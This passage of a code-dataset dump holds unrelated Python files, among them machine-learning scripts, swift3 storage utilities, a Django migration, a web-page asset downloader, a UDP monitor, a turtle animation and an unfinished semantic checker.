LabelEncoder,OneHotEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import r2_score\n#数据预处理\ndef DataProcess():\n #读取数据\n dataset=pd.read_csv('50_Startups.csv')\n x=dataset.iloc[:,:-1].values\n y=dataset.iloc[:,-1].values\n #处理标签值\n label=LabelEncoder()\n x[:,-1]=label.fit_transform(x[:,-1])\n # print(label.transform(['California']))\n # hotencode=OneHotEncoder()\n # x=hotencode.fit_transform(x).toarray()\n # x=x[:,1:]\n return x,y\n\n#进行测试集和训练集的拆分\ndef Process(x,y):\n x_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.2)\n regression=LinearRegression()\n regression.fit(x_train,y_train)\n y_pred=regression.predict(x_test)\n return x_train,y_train,y_test,y_pred\nif __name__ == '__main__':\n x,y=DataProcess()\n x_train,y_train,y_test,y_pred=Process(x,y)\n print(r2_score(y_test,y_pred))","sub_path":"venv/Include/LineModel/MultiplyLineReturn.py","file_name":"MultiplyLineReturn.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"86486496","text":"# Copyright (c) 2014 OpenStack Foundation.\n# Copyright(c)2014 NTT corp.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport re\nimport uuid\nimport base64\nfrom datetime import datetime\nimport time\nimport simplejson\n\nfrom swift.common.swob import UTC\nfrom swift.common.utils import config_true_value, normalize_timestamp\nfrom swift.common.middleware.acl import parse_acl, referrer_allowed\n\nALLOW_CONTAINER_PUBLIC_WRITE = True\nDEFAULT_MAX_PARTS = 1000\nDEFAULT_MAX_UPLOADS = 1000\nDEFAULT_MAX_BUCKET_LISTING = 1000\nPRETTY_PRINT_XML = False\nLOG_DELIVERY_USER = '.log_delivery'\nLOCATION = 'US'\nMAX_ACL_GRANTS = 100\nMAX_LIFECYCLE_RULES = 1000\nMAX_MAX_BUCKET_LISTING = 2147483647\nMAX_MAX_PARTS = 10000\nMAX_MULTI_DELETE_OBJECTS = 1000\nSTORAGE_DOMAIN = None\n\n\ndef json_to_objects(json):\n objects = simplejson.loads(json)\n for o in objects:\n if 'subdir' in o:\n o['subdir'] = utf8encode(o['subdir'])\n if 'name' in o:\n o['name'] = utf8encode(o['name'])\n\n return objects\n\n\ndef utf8encode(s):\n if isinstance(s, unicode):\n s = s.encode('utf8')\n return s\n\n\ndef utf8decode(s):\n if isinstance(s, str):\n s = s.decode('utf8')\n return s\n\n\ndef valid_header_name(name):\n if re.search('[^!#$%&(*+-.0-9a-zA-Z^_|~`]', name) is None:\n return True\n\n return False\n\n\ndef valid_container_name(name):\n if re.search('[^0-9a-zA-Z-_.]', name) is None:\n return True\n\n return False\n\n\ndef normalized_currrent_timestamp():\n return normalize_timestamp(time.time())\n\n\ndef format_timestamp(ts):\n s = datetime.fromtimestamp(float(ts), UTC).isoformat()\n\n # Remove timezone info\n if re.search('\\+[0-9][0-9]:[0-9][0-9]$', s):\n s = s[:-6]\n\n if re.search('\\.[0-9]{6}$', s):\n return s[:-7] + '.000Z'\n else:\n # microsecond is 0\n return s + '.000Z'\n\n\ndef get_owner_from_acl(headers):\n write_acl = headers.get('x-container-write')\n read_acl = headers.get('x-container-read')\n _, write_grantees = parse_acl(write_acl)\n referrers, read_grantees = parse_acl(read_acl)\n for user in write_grantees:\n if user in read_grantees or \\\n referrer_allowed('unknown', referrers):\n return user\n return 'undefined'\n\n\ndef update_swift3_conf(conf):\n global ALLOW_CONTAINER_PUBLIC_WRITE\n ALLOW_CONTAINER_PUBLIC_WRITE = config_true_value(\n conf.get('allow_container_public_write', ALLOW_CONTAINER_PUBLIC_WRITE))\n\n global DEFAULT_MAX_BUCKET_LISTING\n DEFAULT_MAX_BUCKET_LISTING = conf.get('default_max_bucket_listing',\n DEFAULT_MAX_BUCKET_LISTING)\n\n global DEFAULT_MAX_PARTS\n DEFAULT_MAX_PARTS = conf.get('default_max_parts', DEFAULT_MAX_PARTS)\n\n global DEFAULT_MAX_UPLOADS\n DEFAULT_MAX_UPLOADS = conf.get('default_max_uploads', DEFAULT_MAX_UPLOADS)\n\n global PRETTY_PRINT_XML\n PRETTY_PRINT_XML = config_true_value(\n conf.get('pretty_print_xml', PRETTY_PRINT_XML))\n\n global LOG_DELIVERY_USER\n LOG_DELIVERY_USER = conf.get('log_delivery_user', LOG_DELIVERY_USER)\n\n global LOCATION\n LOCATION = conf.get('location', LOCATION)\n\n global MAX_ACL_GRANTS\n MAX_ACL_GRANTS = conf.get('max_acl_grants', MAX_ACL_GRANTS)\n\n global MAX_MAX_BUCKET_LISTING\n MAX_MAX_BUCKET_LISTING = conf.get('max_max_bucket_listing',\n MAX_MAX_BUCKET_LISTING)\n\n global MAX_LIFECYCLE_RULES\n MAX_LIFECYCLE_RULES = conf.get('max_lifecycle_rules', MAX_LIFECYCLE_RULES)\n\n global MAX_MAX_PARTS\n MAX_MAX_PARTS = conf.get('max_max_parts', MAX_MAX_PARTS)\n\n global MAX_MULTI_DELETE_OBJECTS\n MAX_MULTI_DELETE_OBJECTS = conf.get('max_multi_delete_objects',\n MAX_MULTI_DELETE_OBJECTS)\n\n global STORAGE_DOMAIN\n STORAGE_DOMAIN = conf.get('storage_domain')\n\n\n# (camel, snake)\n_reserved_names = [\n ('ID', 'id'),\n ('URI', 'uri'),\n]\n\n\ndef camel_to_snake(camel):\n for c, s in _reserved_names:\n if c == camel:\n return s\n\n return re.sub('(.)([A-Z])', r'\\1_\\2', camel).lower()\n\n\ndef snake_to_camel(snake):\n for c, s in _reserved_names:\n if s == snake:\n return c\n\n return snake.title().replace('_', '')\n\n\ndef unique_id():\n return base64.urlsafe_b64encode(str(uuid.uuid4()))\n","sub_path":"swift3/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"31611818","text":"#\n# pygaR\n#\n# Author: Brad Cable\n# Email: brad@bcable.net\n# License: BSD\n#\n\nfrom copy import deepcopy\n\nfrom pygar.cache import cache\nfrom pygar.query_form import query_form\nfrom pygar.query_master import query_master\n\n\nclass query_scrape(query_master):\n\n\tdef _map_attr(self):\n\t\tret = super(query_scrape, self)._map_attr()\n\t\tret.extend([\n\t\t\t('query', str), ('mode', str), ('filename', str), ('header', bool)\n\t\t])\n\t\treturn ret\n\n\tdef _map_filters(self):\n\t\tif self._attrs['filename'] is not None:\n\t\t\treturn {}\n\t\telse:\n\t\t\treturn super(query_scrape, self)._map()\n\n\tdef execute(self, regexp=True, only_first=False):\n\t\terrbool, master_ret = super(query_scrape, self).execute()\n\t\tif errbool is True:\n\t\t\treturn True, master_ret\n\n\t\t# grab cache files first\n\t\tif (\n\t\t\t'filename' in self._attrs and\n\t\t\tself._attrs['filename'] is not None\n\t\t):\n\t\t\terrbool, ret = cache.get(self._attrs['filename'])\t\n\t\telse:\n\t\t\tfor form_row in master_ret:\n\t\t\t\terrbool, ret = cache.get(form_row[-2])\n\t\t\t\tif errbool:\n\t\t\t\t\tbreak\n\n\t\t# error on failure\n\t\tif errbool:\n\t\t\treturn True, 'Could not retrieve all data files.'\n\n\t\t# then worry about processing them\n\t\tret = []\n\t\tquery_hdrs = None\n\t\tfor form_row in master_ret:\n\t\t\tf = query_form()\n\n\t\t\tif (\n\t\t\t\t'filename' in self._attrs and\n\t\t\t\tself._attrs['filename'] is not None\n\t\t\t):\n\t\t\t\tf.set_attr('path', self._attrs['filename'])\n\t\t\telse:\n\t\t\t\tf.set_attr('path', form_row[-2])\n\n\t\t\tfor attr in self._attrs.keys():\n\t\t\t\tf.set_attr(attr, self._attrs[attr])\n\n\t\t\tf.new_query()\n\t\t\tif query_hdrs is None:\n\t\t\t\tquery_hdrs = f.query_headers()\n\n\t\t\terrbool, query_data = f.execute()\n\t\t\tif errbool is True:\n\t\t\t\treturn True, query_data\n\n\t\t\tfor query_row in query_data:\n\t\t\t\tnew_row = deepcopy(form_row)\n\t\t\t\tfor header in query_hdrs:\n\t\t\t\t\tfound = False\n\t\t\t\t\tfor item in query_row:\n\t\t\t\t\t\tif item[0] == header:\n\t\t\t\t\t\t\tnew_row.append(item[1])\n\t\t\t\t\t\t\tfound = True\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\tif not found:\n\t\t\t\t\t\tnew_row.append(None)\n\n\t\t\t\tret.append(new_row)\n\n\t\tif query_hdrs is not None:\n\t\t\tself.field_names.extend(query_hdrs)\n\n\t\treturn False, ret\n","sub_path":"python/pygar/query_scrape.py","file_name":"query_scrape.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"542513132","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('aldryn_events', '0019_auto_20150804_2232'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='registration',\n name='language_code',\n field=models.CharField(default=b'en', max_length=32, choices=[(b'en', b'en')]),\n preserve_default=True,\n ),\n ]\n","sub_path":"migrations/0020_auto_20151203_1805.py","file_name":"0020_auto_20151203_1805.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"392209779","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\n# graph functional\nclass EncodeLayer(nn.Module):\n def __init__(self, in_size, hidden_size, num_layers=2, bi=True):\n super(EncodeLayer, self).__init__()\n self.bilstm = nn.LSTM(in_size, hidden_size, num_layers=num_layers, bidirectional=bi) # batch_first=False\n\n def forward(self, x, mask):\n # x: [batch, seq_len, bert_dim]\n # mask: [batch, seq_len]\n seq_len = x.shape[1]\n x = x.transpose(0, 1) # [seq_len, batch, input_size]\n\n seq_lens = torch.sum(mask, dim=-1, dtype=torch.long)\n sorted_seq_lens, indices = torch.sort(seq_lens, descending=True)\n _, desorted_indices = torch.sort(indices)\n x = x[:, indices]\n x = nn.utils.rnn.pack_padded_sequence(x, sorted_seq_lens)\n\n out, _ = self.bilstm(x)\n\n out, _ = nn.utils.rnn.pad_packed_sequence(out)\n out = out[:, desorted_indices]\n\n out = out.transpose(0, 1) # [batch, seq_len, 2 * lstm_hidden_size]\n batch, new_seq_len, output_size = out.shape\n if new_seq_len < seq_len:\n out = torch.cat((out, torch.zeros([batch, seq_len - new_seq_len, output_size]).cuda()), dim=1)\n return out # [batch, seq_len, 2 * lstm_hidden_size]\n\n\n","sub_path":"Layers/EncodingLayer.py","file_name":"EncodingLayer.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"549564580","text":"def bolen(x):\r\n bolenler = []\r\n for i in range(1, x+1):\r\n if (x % i == 0):\r\n bolenler.append(i)\r\n print(bolenler)\r\nwhile True:\r\n a = input(\"kanka bi sayi ver bakam bana \")\r\n if(a == \"q\"):\r\n print(\"iyi gidiom ben \")\r\n break\r\n\r\n else:\r\n a = int(a)\r\n bolen(a)\r\n","sub_path":"tambolenbulucu.py","file_name":"tambolenbulucu.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"86137695","text":"from socket import *\ns = socket(AF_INET,SOCK_DGRAM)\ns.bind(('',60501))\n\nwhile 1:\n\td,a = s.recvfrom(2048)\n\tl = len(d)\n\tprint('LEN: ',l)\n\tprint(' '.join(['%x' % d[i] for i in range(l)]))\n\t\t\n","sub_path":"grampa/scripts/udp_mon.py","file_name":"udp_mon.py","file_ext":"py","file_size_in_byte":188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"169500226","text":"# -*- coding:utf-8 -*-\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n#递归\nclass Solution:\n def isSymmetrical(self, pRoot):\n # write code here\n if pRoot==None:\n \treturn True\n return self.isSame(pRoot.left,pRoot.right)\n def isSame(self,left,right):\n \tif left==None and right==None:\n \t\treturn True\n \tif left==None or right==None:\n \t\treturn False\n \tif left.val!=right.val:\n \t\treturn False\n \treturn self.isSame(left.left,right.right) and self.isSame(left.right,right.left)\n#利用队列存结点 成对存 成对取\nclass Solution:\n def isSymmetrical(self, pRoot):\n # write code here\n if pRoot==None:\n \treturn True\n queue=[pRoot.left,pRoot.right]\n while len(queue):\n \tright=queue.pop()\n \tleft=queue.pop()\n \tif left==None and right==None:\n \t\tcontinue\n \tif left==None or right==None:\n \t\treturn False\n \tif left.val!=right.val:\n \t\treturn False\n \tqueue.insert(0,right.right)\n \tqueue.insert(0,left.left)\n \tqueue.insert(0,right.left)\n \tqueue.insert(0,left.right)\n return True\n","sub_path":"python/58.py","file_name":"58.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"18574948","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\n# 批量执行当前文件夹下所有py文件\nimport os\nimport time\nimport threading\n\n\n# 一个非常简单的多线程程序\nclass Crawl(threading.Thread):\n def __init__(self, c):\n threading.Thread.__init__(self)\n self.c = c\n\n def run(self):\n download(self.c)\n\n\n# 多线程运行函数\ndef download(c):\n os.system(\"python3 \" + os.path.join(os.getcwd(), c))\n\n\ndef get_py_list():\n lst = os.listdir(os.getcwd())\n py_list = []\n for c in lst:\n # print(c)\n if os.path.isfile(c) and c.endswith('.py') and c.find(\"00start_all\") == -1 and \\\n c.find(\"sg_weibo\") == -1: # c是以py结尾的文件 并且 过滤掉start_all.py文件\n print(c)\n py_list.append(c)\n # os.system(os.path.join(os.getcwd(), c))\n return py_list\n\n\nif __name__ == \"__main__\":\n try:\n # 使用多线程\n thread = []\n # 获取所有的需要执行的py文件\n u_list = get_py_list()\n # 同时启动线程数\n num = len(u_list)\n for i in range(0, len(u_list), num):\n for j in range(i, i + num):\n t = Crawl(u_list[j])\n thread.append(t)\n\n for k in range(i, i + num):\n thread[k].start()\n\n for m in range(i, i + num):\n thread[m].join()\n # print(\"end\")\n # time.sleep(3)\n except Exception as e:\n print(\"Error :{}\".format(e))\n","sub_path":"fagaiwei/start1-40/00start_all01-40.py","file_name":"00start_all01-40.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"493153111","text":"# 在这里写上你的代码 :-)\nfrom turtle import *\nimport math\nimport sys\n\n#修改最大递归层数到0xffffff\nsys.setrecursionlimit(0xffffff)\nscreensize(1080, 900, \"#000\")\nk=1 #<<====全局变量======\n\ndef DrawLoop():\n global k #<<====全局变量======\n clear() #<<=====清空画布=====\n\n #画图开始:-----------------------------\n for m in range(-285,285,7):\n x=m*math.cos(m/39)+50*math.cos(k/47)\n y=m*math.sin(m/39)+50*math.sin(k/57)\n\n #线段集:\n pu();pensize(4)\n pencolor(\"#\"+hex(0x100000+(m**4) % 0xEFFFFF)[2:]);pd()\n #goto(0,0);\n goto(x,y);\n goto(x*math.cos(k/38)-y*math.sin(k/38),x*math.sin(k/38)+y*math.cos(k/38))\n goto(x*math.cos(k/39)-y*math.sin(k/39),x*math.sin(k/39)+y*math.cos(k/39))\n\n #填充多边形:\n begin_fill()\n lt(.1)\n fillcolor(\"#\"+hex(0x100000+(m**4) % 0xEFFFFF)[2:])\n circle( 12,steps=3)\n end_fill()\n #画图结束-----------------------------\n\n update() #<<=====更新画布=====\n k+=1 #<<=====变量递增=====\n ontimer(DrawLoop(), 50) #<<=====每隔n毫秒循环执行=====\n\nht() #隐藏乌龟\ntracer(False) #快速直接画\nDrawLoop() #<<=====执行[开始]=====\n","sub_path":"turtle_动画壳_爱心_1.py","file_name":"turtle_动画壳_爱心_1.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"112782060","text":"class OrderedDictionary:\n def __init__(self, base={}, **kwargs):\n self._keys = []\n self._values = []\n if type(base) not in (dict, OrderedDictionary):\n raise TypeError(\"The type used is not a dict\")\n for key in base:\n self[key] = base[key]\n for key in kwargs:\n self[key] = kwargs[key]\n\n def __repr__(self):\n if not self._keys:\n return \"{}\"\n s = \"{\"\n for key, value in self.items():\n s += \"{0}: {1}, \".format(key, value)\n s = s[0:(len(s)-2)]\n s += \"}\"\n return s\n\n def __str__(self):\n return repr(self)\n\n def __len__(self):\n return len(self._keys)\n\n def __contains__(self, key):\n return key in self._keys\n\n def __setitem__(self, key, value):\n if key in self._keys:\n self._values[self._keys.index(key)] = value\n else:\n self._values.append(value)\n self._keys.append(key)\n\n def __getitem__(self, key):\n if key in self._keys:\n return self._values[self._keys.index(key)]\n else:\n raise KeyError(\"The key is not in the dict\")\n\n def __delitem__(self, key):\n if key in self._keys:\n del self._values[self._keys.index(key)]\n del self._keys[self._keys.index(key)]\n else:\n raise KeyError(\"The key is not in the dict\")\n\n def __iter__(self):\n return iter(self._keys)\n\n def __add__(self, obj):\n if type(obj) is not type(self):\n raise TypeError(\"Impossible to add that object\")\n else:\n new_dict = OrderedDictionary()\n for key, value in self.items():\n new_dict[key] = value\n for key, value in obj.items():\n new_dict[key] = value\n return new_dict\n\n def items(self):\n for i, key in enumerate(self._keys):\n yield (key, self._values[i])\n\n def keys(self):\n return list(self._keys)\n\n def values(self):\n return list(self._values)\n\n def reverse(self):\n keys = []\n values = []\n for key, value in self.items():\n keys.insert(0, key)\n values.insert(0, value)\n self._keys = keys\n self._values = values\n\n def sort(self):\n values = list(self._values)\n keys = sorted(self._keys)\n for key, value in self.items():\n values[keys.index(key)] = self._values[self._keys.index(key)]\n self._keys = keys\n self._values = values\n","sub_path":"Python_Tutorial/Ordered Dictionary/OrderedDictionary.py","file_name":"OrderedDictionary.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"435469705","text":"from collections import defaultdict\nfrom contextlib import contextmanager\nfrom uritemplate import expand\nfrom chirp.embed import EmbeddedObject\nfrom chirp.objects.tweet import Tweet\nfrom chirp.objects.user import User\n\n\nclass Twitter(object):\n base_endpoint = 'https://api.twitter.com/1.1/{+resource}'\n\n def __init__(self, session):\n self.session = session\n\n self.User = EmbeddedObject(User, self)\n self.Tweet = EmbeddedObject(Tweet, self)\n\n def search(self, query, **payload):\n payload.update(q=query)\n response = self.session.get(\n expand(\n self.base_endpoint,\n dict(resource='search/tweets.json'),\n ),\n params=payload,\n )\n tweets = response.json()['statuses']\n return [self.Tweet.from_json(d) for d in tweets]\n\n\n@contextmanager\ndef using(session):\n yield Twitter(session)\n","sub_path":"chirp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"301540471","text":"import gc\nimport multiprocessing as mp\nimport sys\nimport xkcd\n\ndef func():\n try:\n if int(sys.argv[1]) > 0:\n comic = xkcd.getComic(int(sys.argv[1]))\n else:\n comic = xkcd.getComic(xkcd.getLatestComicNum()\n + int(sys.argv[1]) + 1)\n except IndexError:\n comic = xkcd.getRandomComic()\n with open(\"res\", \"w\") as fstream:\n fstream.write('[%s: %s] ' % (comic.getTitle(), comic.getImageLink()))\n\nproc = mp.Process(target=func)\nproc.start()\nproc.join()\ngc.collect()\n","sub_path":"python/comics.py","file_name":"comics.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"332358573","text":"from models import Controller\nfrom rest_framework import serializers\n\n\nclass ControllerSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = Controller\n fields = ('url', 'name', 'address', 'port', 'zone')\n extra_kwargs = {\n 'url': {'lookup_field': 'name'}\n }\n\n\nclass PowerSerializer(serializers.Serializer):\n power = serializers.ChoiceField(['on', 'off'])\n groups = serializers.ListField(child=serializers.IntegerField(), default=[], required=False)\n\n\nclass ColorSerializer(serializers.Serializer):\n color = serializers.ChoiceField(\n [\n 'violet',\n 'royal_blue',\n 'baby_blue',\n 'aqua',\n 'mint',\n 'seafoam_green',\n 'green',\n 'lime_green',\n 'yellow',\n 'yellow_orange',\n 'orange',\n 'red',\n 'pink',\n 'fusia',\n 'lilac',\n 'lavendar'\n ]\n )\n groups = serializers.ListField(child=serializers.IntegerField(), default=[], required=False)\n","sub_path":"lisa_plugins_wifiled/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"303033335","text":"from ipaddress import IPv4Network\r\nimport TranslatingIpAddressToDomain\r\nimport SscreenshotOfWebPage\r\n\r\n\r\ndef brute_force_ip(ip: str):\r\n '''\r\n :param ip: entered in the format '12.32.23.12' or '12.32.23.0/24'\r\n :return:\r\n '''\r\n range_ip = IPv4Network(ip)\r\n ip = []\r\n for el in range_ip:\r\n ip.append((str(el), 443))\r\n\r\n urls = TranslatingIpAddressToDomain.qwe(ip)\r\n SscreenshotOfWebPage.screenshot_of_web_page(urls)\r\n","sub_path":"BruteForceIp.py","file_name":"BruteForceIp.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"14450371","text":"import os\nimport requests\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urlparse, urljoin\nfrom page_loader import naming\nfrom page_loader.app_logger import logger\n\n\nATTRIBUTES = {'img': 'src', 'script': 'src', 'link': 'href'}\nONE_MB = 2**20\n\n\ndef download_asset(link: str, assets_path: str):\n logger.info(f'trying to download {link} to {assets_path}')\n\n try:\n response = requests.get(link, stream=True)\n logger.info(f'received a response from {link}')\n except requests.exceptions.RequestException as e:\n logger.error(e)\n\n file_name = naming.create_file_name(link)\n logger.info(f'created name {file_name}')\n file_path = os.path.join(assets_path, file_name)\n logger.info(f'created path {file_path} to the page')\n\n try:\n with open(file_path, 'wb') as file:\n for chunk in response.iter_content(chunk_size=ONE_MB):\n file.write(chunk)\n logger.info(f'file content written to {file_path}')\n except (OSError, requests.exceptions.RequestException) as e:\n logger.error(e)\n\n\ndef is_local(url: str, asset_link: str) -> bool:\n base_domain = urlparse(url).netloc\n asset_domain = urlparse(asset_link).netloc\n if not asset_domain:\n return True\n return base_domain == asset_domain\n\n\ndef replace_links(url: str, page: str, assets_dir_name: str):\n soup = BeautifulSoup(page, 'html.parser')\n assets_links = []\n\n logger.info('looking for links')\n for element in soup.findAll(ATTRIBUTES):\n attribute_name = ATTRIBUTES[element.name]\n asset_link = element.get(attribute_name)\n logger.info(f'received asset link {asset_link}')\n\n if is_local(url, asset_link):\n logger.info(f'asset link {asset_link} is local')\n link = urljoin(url, asset_link)\n asset_name = naming.create_file_name(link)\n asset_path = os.path.join(assets_dir_name, asset_name)\n element[attribute_name] = asset_path\n logger.info(f'asset link {asset_link} replaced with {asset_path}')\n assets_links.append(link)\n logger.info(f'link {link} added to assets_links')\n\n logger.info('Function done! Returning assets and page.')\n return soup.prettify(), assets_links\n","sub_path":"page_loader/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"317980379","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/1/30 10:48\n# @Author : Brady\n# @Email : acheng_69@163.com\n# @File : index.py\n# @Software: PyCharm\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\n# .find_all()简写为()\n\nurl = 'http://python123.io/ws/demo.html'\ntry:\n r = requests.get(url)\n r.raise_for_status()\n demo = r.text\n soup = BeautifulSoup(demo, 'html.parser')\n # .find_all(name, attrs, recursive, string, **kwargs) 返回列表类型\n # name: 对标签名称的检索 可以传字符串'a',也可以传列表['a', 'p']\n # for link in soup.find_all('a'):\n # print(link.attrs['href'])\n # attrs: 对标签属性值的检索 可以传字符串'course' 也可以传id='link1'\n # print(soup.find_all(id=re.compile('link')))\n # recursive: 是否对子孙全部检索 默认为True\n # print(soup.find_all('a', recursive=False))\n # string: 检索字符串\n # print(soup.find_all(string=re.compile('python')))\n # re正则表达式库\n for tag in soup.find_all(re.compile('b')):\n print(tag.name) # 返回所有包含b的标签的名字\nexcept IOError:\n print('爬取失败')\n","sub_path":"网络爬虫/信息标记和提取/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"629634981","text":"for p in range(20):\n newPage(1000, 1000)\n for n in range(50):\n fill(random(), 0, random(), 0.5 +random()*0.2)\n ch = random()\n x = 20 + random()*800\n y = 20 + random()*800\n if ch < 0.2:\n oval(x, y, 80, 80 )\n elif ch < 0.4:\n rect(x, y, 80, 80 )\n else:\n fontSize(24)\n text('Hello world on %d,%d' % (x, y), (x, y))\n\n\n\nsaveImage('/Users/Petr/Desktop/OurNiceDrawing.gif')","sub_path":"Examples/Howto/UseFonts/DB_HelloCircleSquare.py","file_name":"DB_HelloCircleSquare.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"566944050","text":"def solution(str1, str2):\n str1 = str1.lower()\n str2 = str2.lower()\n charSet1 = []\n charSet2 = []\n \n for i in range(len(str1) - 1):\n if (str1[i] + str1[i + 1]).isalpha():\n charSet1.append(str1[i] + str1[i + 1])\n \n for i in range(len(str2) - 1):\n if (str2[i] + str2[i + 1]).isalpha():\n charSet2.append(str2[i] + str2[i + 1])\n \n plusSetLength = len(charSet1) + len(charSet2)\n sameSetLength = 0\n \n for cmpStr in charSet2:\n if cmpStr in charSet1:\n charSet1.remove(cmpStr)\n sameSetLength += 1\n \n if not plusSetLength:\n return 65536\n else:\n return int(sameSetLength / (plusSetLength - sameSetLength) * 65536)\n","sub_path":"programmers/[1차] 뉴스 클러스터링/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"580637002","text":"__author__ = 'Rolando.Morales'\r\n\r\nfrom Parser import *\r\nfrom AST import *\r\nfrom SymbolsTable import *\r\n\r\nclass Cheker(Visitor):\r\n\r\n def __init__(self):\r\n Visitor.__init__(self)\r\n self.errores=[]\r\n self.parser=Parser()\r\n self.st=None\r\n\r\n\r\n\r\n#METODO PARA RECORRER TODAS LAS INSTRUCCIONES---------------------------------------------------------------------------\r\n def visitPrograma(self,programa):\r\n if programa!=None:\r\n for i in range(0,len(programa.lista)):\r\n if programa.lista[i]!=None:\r\n programa.lista[i].visit(self)\r\n return None\r\n\r\n\r\n#METODO PARA VISITAR LOS IDENTIFICADORES DE UNA DECLARACION-------------------------------------------------------------\r\n def visitDeclaracion(self,astDeclaracion):\r\n if astDeclaracion!=None:\r\n ids=astDeclaracion.ids\r\n for id in ids:\r\n if id!=None:\r\n id.visit(self)\r\n info=self.st.entry(id.entry)\r\n info.type=astDeclaracion.tipo\r\n return\r\n\r\n#METODO PARA COMPROBAR SI EL IDENTIFICADOR DE UNA ASIGNACION ES DEL MISMO TIPO DE DATO QUE EL DEL VALOR K LE FUE ASIGNADO\r\n def visitAsignacion(self,astAsignacion):\r\n if astAsignacion.valor!=None and astAsignacion.id!=None :\r\n t1=self.visitIdentifierReference(astAsignacion.id)\r\n t2=None\r\n if astAsignacion.valor.tipo==\"id\":\r\n t2=self.visitIdentifierValue(astAsignacion.valor)\r\n\r\n elif astAsignacion.valor.tipo==\"int\":\r\n t2=self.visitIntValue(astAsignacion.valor)\r\n\r\n elif astAsignacion.valor.tipo==\"cadena\":\r\n t2=self.visitCadenaValue(astAsignacion.valor)\r\n\r\n elif astAsignacion.valor.tipo==\"color\":\r\n t2=self.visitColorValue(astAsignacion.valor)\r\n\r\n elif astAsignacion.valor.tipo==\"list\":\r\n t2=self.visitListValue(astAsignacion.valor)\r\n\r\n elif astAsignacion.valor.tipo==\"estrato\":\r\n t2=self.visitEstratoValue(astAsignacion.valor)\r\n if t1!=t2:\r\n self.errores.append((astAsignacion.line,\"Semantic error: Assignment of incompatible types\"))\r\n return \"None\"\r\n else:\r\n\r\n return t1\r\n\r\n#METODO PARA RETORNAR EL TIPO DE DATO DE UN LITERAL CADENA--------------------------------------------------------------\r\n def visitCadenaValue(self,astCadenaValue):\r\n return \"qstring\"\r\n\r\n\r\n#METODO PARA RETORNAR EL TIPO DE DATO DE UN LITERAL ENTERO--------------------------------------------------------------\r\n def visitIntValue(self,astIntValue):\r\n return \"qinteger\"\r\n\r\n\r\n\r\n#METODO PARA COMPROBAR SI TODOS LOS ELEMENTOS DE UNA LISTA SON DEL TIPO DE DATO CORRECTO Y PARA RETORNAR EL TIPO DE DATO CORRESPONDIENTE\r\n def visitListValue(self,astListValue):\r\n control=False\r\n tipo=\"None\"\r\n if astListValue.lista!=None:\r\n for item in 